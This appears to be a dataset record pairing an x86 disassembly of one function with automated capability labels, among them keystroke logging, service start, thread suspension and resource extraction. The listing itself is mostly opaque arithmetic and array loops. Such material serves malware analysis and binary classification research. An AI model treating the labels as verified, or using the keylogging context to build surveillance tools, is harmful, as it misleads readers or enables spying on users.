Function at 0x1002e0e8
Capabilities:
Create directory
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk size
Get keyboard layout
Identify system language via api
Log keystrokes via polling
Parse pe header
Read .ini file
Resume thread
Start service
Suspend thread

Disassembly:
mov eax, 0x1008194d
call fcn.1008034c
mov eax, 0x1354
call fcn.100673e0
xor eax, eax
mov byte [ebp - 0x79], dl
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0xffffffff
mov eax, dword [ebp - 0x14]
neg eax
mov dword [ebp - 0x5c], ecx
push ebx
sbb eax, eax
inc eax
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
neg edx
push esi
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
push edi
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
push 4
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
pop ebx
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x14]
setg cl
sub ecx, 0xfffffff8
neg ecx
sbb ecx, ecx
inc ecx
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffee
je 0x1002e1dd
push ebx
lea ecx, [ebp - 0xa6c]
call fcn.10016697
xor eax, eax
push 9
mov dword [ebp - 4], eax
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1002e1ac
push dword [ebp - 0x2c]
call fcn.10016738
mov dword [eax], 0xfffe
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0xa6c]
cmp dword [ebp - 0x2c], ebx
jl 0x1002e19b
push 3
call fcn.10016738
lea ecx, [ebp - 0xa6c]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
or dword [ebp - 4], 0xffffffff
call fcn.1001671c
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jne 0x1002e17f
xor eax, eax
mov dword [ebp - 0x4c], eax
lea ecx, [ebp - 0x118]
push 3
call fcn.10016697
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002e220
push dword [ebp - 0x14]
lea ecx, [ebp - 0x118]
call fcn.10016738
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002e205
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e240
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd0], 0xda7da9fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e228
xor eax, eax
mov esi, dword [ebp - 0x4c]
lea ecx, [ebp - 0x118]
neg esi
push eax
sbb esi, esi
neg esi
call fcn.10016738
mov dword [eax], esi
test esi, esi
je 0x1002e269
xor eax, eax
lea ecx, [ebp - 0x118]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], 8
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0x879b6842
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], eax
jl 0x1002e3b3
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x118]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
jge 0x1002e2b6
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x14], eax
je 0x1002e2b8
mov esi, ebx
push ebx
lea ecx, [ebp - 0x118]
call fcn.10016738
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x118]
mov dword [ebp - 0xd0], esi
push dword [ebp - 0x28]
call fcn.10016738
xor eax, eax
lea ecx, [ebp - 0x118]
push eax
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0x118]
call fcn.10016738
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x118]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x118]
sete dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
jne 0x1002e33d
mov eax, dword [ebp - 0xd0]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x118]
call fcn.10016738
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xc499
jg 0x1002e36a
mov edx, ebx
cmp dword [ebp - 0xd0], eax
jne 0x1002e36c
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
add eax, ecx
jne 0x1002e384
mov edi, eax
cmp dword [ebp - 0x28], eax
je 0x1002e386
mov edi, ebx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x118]
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0x118]
mov esi, dword [eax]
sub esi, edi
call fcn.10016738
mov dword [eax], esi
dec dword [ebp - 0x28]
jns 0x1002e295
xor eax, eax
push 9
mov dword [ebp - 0x14], eax
mov edi, 0xf913
pop eax
push 0xfffffffffffffff9
pop esi
cmp dword [ebp - 0x14], eax
jne 0x1002e4ba
push ebx
lea ecx, [ebp - 0x364]
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e3fe
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x364]
call fcn.10016738
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e3e4
xor eax, eax
push eax
lea ecx, [ebp - 0x364]
call fcn.10016738
mov edx, dword [ebp - 0x2c]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp edx, ecx
setle al
sub eax, dword [esi]
jne 0x1002e434
push eax
lea ecx, [ebp - 0x364]
call fcn.10016738
cmp dword [eax], 0
jne 0x1002e434
xor eax, eax
mov esi, eax
jmp 0x1002e438
mov esi, ebx
xor eax, eax
mov dword [ebp - 0xd0], edi
lea ecx, [ebp - 0x364]
mov dword [ebp - 0x1c], 0xfffffff6
push eax
call fcn.10016738
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x118]
setg bl
xor eax, eax
push eax
call fcn.10016738
sub esi, dword [eax]
xor eax, eax
cmp esi, 0x49af
setne al
cmp eax, 0x839ca31b
mov eax, dword [ebp - 0x14]
sbb edx, edx
add eax, ebx
inc edx
xor ecx, ecx
cmp eax, edx
setne cl
add ecx, edi
mov dword [ebp - 0x2c], ecx
je 0x1002e724
xor eax, eax
lea ecx, [ebp - 0x364]
push eax
call fcn.10016738
cmp dword [eax], 0
je 0x1002e72d
lea ecx, [ebp - 0x364]
call fcn.1001671c
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x118]
call fcn.1001671c
xor eax, eax
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x4c], eax
push 3
call fcn.10016697
push 3
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002e50d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x100]
call fcn.10016738
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002e4f2
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e52d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcc], 0xda7da9fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e515
xor eax, eax
mov esi, dword [ebp - 0x4c]
lea ecx, [ebp - 0x100]
neg esi
push eax
sbb esi, esi
neg esi
call fcn.10016738
mov dword [eax], esi
test esi, esi
je 0x1002e556
xor eax, eax
lea ecx, [ebp - 0x100]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], 8
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0x879b6842
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], eax
jl 0x1002e6a5
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x100]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
jge 0x1002e5a3
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x14], eax
je 0x1002e5a5
mov esi, ebx
push ebx
lea ecx, [ebp - 0x100]
call fcn.10016738
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x100]
mov dword [ebp - 0xcc], esi
push dword [ebp - 0x28]
call fcn.10016738
xor eax, eax
lea ecx, [ebp - 0x100]
push eax
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0x100]
call fcn.10016738
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x100]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x100]
sete dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
jne 0x1002e62a
mov eax, dword [ebp - 0xcc]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x100]
call fcn.10016738
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xc499
jg 0x1002e657
mov edx, ebx
cmp dword [ebp - 0xcc], eax
jne 0x1002e659
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
add eax, ecx
jne 0x1002e671
mov edi, eax
cmp dword [ebp - 0x28], eax
je 0x1002e673
mov edi, ebx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x100]
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0x100]
mov esi, dword [eax]
sub esi, edi
call fcn.10016738
mov dword [eax], esi
dec dword [ebp - 0x28]
jns 0x1002e582
xor eax, eax
mov edi, 0xf913
mov dword [ebp - 0x14], eax
push 9
pop eax
cmp dword [ebp - 0x14], eax
jne 0x1002e7e6
push ebx
lea ecx, [ebp - 0x380]
call fcn.10016697
push 4
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e6ee
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x380]
call fcn.10016738
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e6d0
xor eax, eax
push eax
lea ecx, [ebp - 0x380]
call fcn.10016738
mov edx, dword [ebp - 0x2c]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp edx, ecx
setle al
sub eax, dword [esi]
jne 0x1002e760
push eax
lea ecx, [ebp - 0x380]
call fcn.10016738
cmp dword [eax], 0
jne 0x1002e760
xor eax, eax
mov esi, eax
jmp 0x1002e764
push 6
pop eax
mov dword [ebp - 0xd0], eax
xor eax, eax
lea ecx, [ebp - 0x364]
cmp dword [ebp - 0x1c], eax
jne 0x1002e4b2
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
call fcn.1001671c
inc dword [ebp - 0x14]
push 9
pop eax
cmp dword [ebp - 0x14], eax
jne 0x1002e4ba
push 0xfffffffffffffff9
pop esi
jmp 0x1002e3ca
mov esi, ebx
xor eax, eax
mov dword [ebp - 0xcc], edi
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x1c], 0xfffffff6
push eax
call fcn.10016738
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x100]
setg bl
xor eax, eax
push eax
call fcn.10016738
sub esi, dword [eax]
xor eax, eax
cmp esi, 0x49af
setne al
cmp eax, 0x839ca31b
mov eax, dword [ebp - 0x14]
sbb edx, edx
add eax, ebx
inc edx
xor ecx, ecx
cmp eax, edx
setne cl
add ecx, edi
mov dword [ebp - 0x2c], ecx
je 0x1002ea52
xor eax, eax
lea ecx, [ebp - 0x380]
push eax
call fcn.10016738
cmp dword [eax], 0
je 0x1002ea5b
lea ecx, [ebp - 0x380]
call fcn.1001671c
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.1001671c
xor eax, eax
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x4c], eax
push 3
call fcn.10016697
mov dword [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002e83b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe8]
call fcn.10016738
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002e820
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e85b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc4], 0xda7da9fc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e843
xor eax, eax
mov esi, dword [ebp - 0x4c]
lea ecx, [ebp - 0xe8]
neg esi
push eax
sbb esi, esi
neg esi
call fcn.10016738
mov dword [eax], esi
test esi, esi
je 0x1002e884
xor eax, eax
lea ecx, [ebp - 0xe8]
push eax
call fcn.10016738
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], 8
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0x879b6842
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], eax
jl 0x1002e9ce
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xe8]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [eax]
jge 0x1002e8d1
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x14], eax
je 0x1002e8d3
mov esi, ebx
push ebx
lea ecx, [ebp - 0xe8]
call fcn.10016738
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xc4], esi
push dword [ebp - 0x28]
call fcn.10016738
xor eax, eax
lea ecx, [ebp - 0xe8]
push eax
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe8]
call fcn.10016738
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0xe8]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0xe8]
sete dl
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
push dword [ebp - 0x28]
call fcn.10016738
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x14]
setg dl
add eax, edx
jne 0x1002e958
mov eax, dword [ebp - 0xc4]
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe8]
call fcn.10016738
xor ecx, ecx
cmp dword [eax], ebx
sete cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xc499
jg 0x1002e985
mov edx, ebx
cmp dword [ebp - 0xc4], eax
jne 0x1002e987
mov edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setle cl
add eax, ecx
jne 0x1002e99f
mov edi, eax
cmp dword [ebp - 0x28], eax
je 0x1002e9a1
mov edi, ebx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe8]
call fcn.10016738
push dword [ebp - 0x28]
lea ecx, [ebp - 0xe8]
mov esi, dword [eax]
sub esi, edi
call fcn.10016738
mov dword [eax], esi
dec dword [ebp - 0x28]
jns 0x1002e8b0
xor eax, eax
mov dword [ebp - 0x14], eax
push 9
pop eax
cmp dword [ebp - 0x14], eax
jne 0x1002eb06
mov edi, 0xf913
push ebx
lea ecx, [ebp - 0x2f0]
call fcn.10016697
push 6
pop eax
mov byte [ebp - 4], al
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002ea1c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x2f0]
call fcn.10016738
mov dword [eax], 0xfffffff9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e9fe
xor eax, eax
push eax
lea ecx, [ebp - 0x2f0]
call fcn.10016738
mov edx, dword [ebp - 0x2c]
mov esi, eax
mov ecx, dword [ebp - 0x2c]
xor eax, eax
cmp edx, ecx
setle al
sub eax, dword [esi]
jne 0x1002ea80
push eax
lea ecx, [ebp - 0x2f0]
call fcn.10016738
cmp dword [eax], 0
jne 0x1002ea80
xor eax, eax
mov esi, eax
jmp 0x1002ea84
push 6
pop eax
mov dword [ebp - 0xcc], eax
xor eax, eax
lea ecx, [ebp - 0x380]
cmp dword [ebp - 0x1c], eax
jne 0x1002e7de
mov byte [ebp - 4], 3
call fcn.1001671c
inc dword [ebp - 0x14]
xor ebx, ebx
inc ebx
jmp 0x1002e6a8
mov esi, ebx
xor eax, eax
mov dword [ebp - 0xc4], edi
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 0x1c], 0xfffffff6
push eax
call fcn.10016738
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xe8]
setg bl
xor eax, eax
push eax
call fcn.10016738
sub esi, dword [eax]
xor eax, eax
cmp esi, 0x49af
setne al
cmp eax, 0x839ca31b
mov eax, dword [ebp - 0x14]
sbb edx, edx
add eax, ebx
inc edx
xor ecx, ecx
cmp eax, edx
setne cl
add ecx, edi
mov dword [ebp - 0x2c], ecx
je 0x1002ebcd
xor eax, eax
lea ecx, [ebp - 0x2f0]
push eax
call fcn.10016738
cmp dword [eax], 0
je 0x1002ebd6
lea ecx, [ebp - 0x2f0]
call fcn.1001671c
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe8]
call fcn.1001671c
mov dword [ebp - 0x1c], 0xffffffff
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x20], 0xb80ebbd4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x11
jl 0x1002eb8b
mov ebx, 0xffff
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10], 0x1f1eb32a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
push 0
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x11
jge 0x1002eb3a
xor ebx, ebx
inc ebx
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002eb9d
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov dword [ebp - 0x14], 0xcea5d6c0
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002ebc4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13c], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ebac
xor eax, eax
mov dword [ebp - 0x14], 0xfffffff1
jmp 0x1002ec22
push 6
pop eax
mov dword [ebp - 0xc4], eax
xor eax, eax
lea ecx, [ebp - 0x2f0]
cmp dword [ebp - 0x1c], eax
jne 0x1002eafe
mov byte [ebp - 4], 5
call fcn.1001671c
inc dword [ebp - 0x14]
xor ebx, ebx
push 9
pop eax
inc ebx
cmp dword [ebp - 0x14], eax
jne 0x1002eb06
jmp 0x1002e9e2
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002ec1f
push eax
push 0x1051
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
xor eax, eax
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jge 0x1002ec07
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x1002ecd2
mov dword [ebp - 0x10], 0xfffffff8
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x13c], 0
jne 0x1002ec87
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
mov eax, dword [ebp - 0x13c]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setle bl
imul eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, 0xa9b27fa
mov eax, dword [ebp - 0x14]
setne cl
imul edx, ecx, 0x5bef
xor ecx, ecx
cmp eax, ebx
setne cl
xor ebx, ebx
cmp ecx, edx
jge 0x1002ec86
xor eax, eax
inc ebx
mov edx, eax
jmp 0x1002ec89
inc ebx
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x13c]
cmp edx, eax
setge cl
cmp ecx, 0xfffa
jb 0x1002ecba
mov dword [ebp - 0x20], 0xd271
mov dword [ebp - 0x4c], 0x9ee491ba
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
xor eax, eax
jmp 0x1002ecc4
xor eax, eax
cmp dword [ebp - 0x13c], eax
jne 0x1002ecd0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1002ec34
xor eax, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
push 2
call fcn.10016697
mov dword [ebp - 4], 7
mov eax, 0x88307b36
mov dword [ebp - 0x2c], 0x2bf5f40e
mov dword [ebp - 0xa08], eax
mov dword [ebp - 0xa04], eax
mov dword [ebp - 0xa00], eax
mov dword [ebp - 0x9fc], eax
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xdd754719
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002ed4a
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x358]
call fcn.10016738
mov dword [eax], 0x725245f5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ed2b
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002edb8
mov dword [ebp - 0x24], 0xffffffff
lea ecx, [ebp - 0x358]
push ebx
call fcn.10016738
xor esi, esi
lea ecx, [ebp - 0x358]
inc esi
xor ebx, ebx
push esi
cmp dword [eax], esi
setg bl
call fcn.10016738
push esi
lea ecx, [ebp - 0x358]
sub ebx, dword [eax]
call fcn.10016738
mov ecx, dword [ebp - 0x24]
xor edx, edx
cmp ecx, ebx
setl dl
cmp edx, dword [eax]
jge 0x1002ed97
mov eax, dword [ebp - 0x24]
xor eax, eax
lea ecx, [ebp - 0x358]
push eax
call fcn.10016738
mov ecx, 0x3fa973d2
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x34]
jg 0x1002edb8
xor ebx, ebx
xor eax, eax
inc ebx
jmp 0x1002edbd
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], eax
jl 0x1002f042
mov dword [ebp - 0x20], 0x757520c2
mov dword [ebp - 0x24], eax
jmp 0x1002f030
mov dword [ebp - 0x44], 0x2089ce37
mov dword [ebp - 0x4c], 0x2edfd682
mov dword [ebp - 0x4c], 0xdfba308d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002ee14
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xd28], 0x3f0b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002edfb
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002ee34
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x614], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ee1c
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002ee52
push eax
push eax
push 0x26c
push 0x17d3
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002f024
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x48], 0xd8169b41
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ee8a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1178], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002ee71
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jg 0x1002f021
push 3
lea ecx, [ebp - 0x938]
call fcn.10016697
xor eax, eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002eec9
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x290], 3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002eeb1
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002eee5
push dword [ebp - 0x14]
lea ecx, [ebp - 0x938]
call fcn.10016738
mov dword [eax], 0x1ddbc75b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002eece
dec dword [ebp - 0xd20]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x1178], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002ef10
mov ecx, ebx
cmp dword [ebp - 0x48], eax
jne 0x1002ef12
mov ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
setl al
cmp eax, dword [ebp - 0x2c]
je 0x1002ef28
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x28], eax
je 0x1002ef2a
mov esi, ebx
push 2
lea ecx, [ebp - 0x938]
call fcn.10016738
xor ecx, ecx
push 2
cmp esi, dword [eax]
mov eax, dword [ebp - 0x44]
setg cl
xor ebx, ebx
cmp eax, ecx
lea ecx, [ebp - 0x938]
setne bl
call fcn.10016738
mov dword [eax], ebx
cmp ebx, dword [ebp - 0x44]
jg 0x1002ef62
mov eax, dword [ebp - 0x9fc]
xor eax, eax
xor edx, edx
mov dword [ebp - 0x9fc], eax
mov ecx, dword [ebp - 0x290]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
lea ecx, [ebp - 0x358]
setl dl
mov dword [ebp - 0x44], edx
mov edi, dword [ebp - 0x44]
push dword [ebp - 0x24]
neg edi
sbb edi, edi
neg edi
neg edi
neg edi
sbb edi, edi
neg edi
call fcn.10016738
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x358]
mov esi, eax
call fcn.10016738
xor edx, edx
mov ecx, dword [eax]
mov dword [esi], ecx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
sub ecx, edi
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x34]
add ecx, dword [ebp - 0x34]
sub ecx, dword [ebp - 0x290]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x614]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x938]
mov byte [ebp - 4], 7
call fcn.1001671c
inc dword [ebp - 0x28]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x28], ebx
jle 0x1002ee96
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1002ee5a
inc dword [ebp - 0x24]
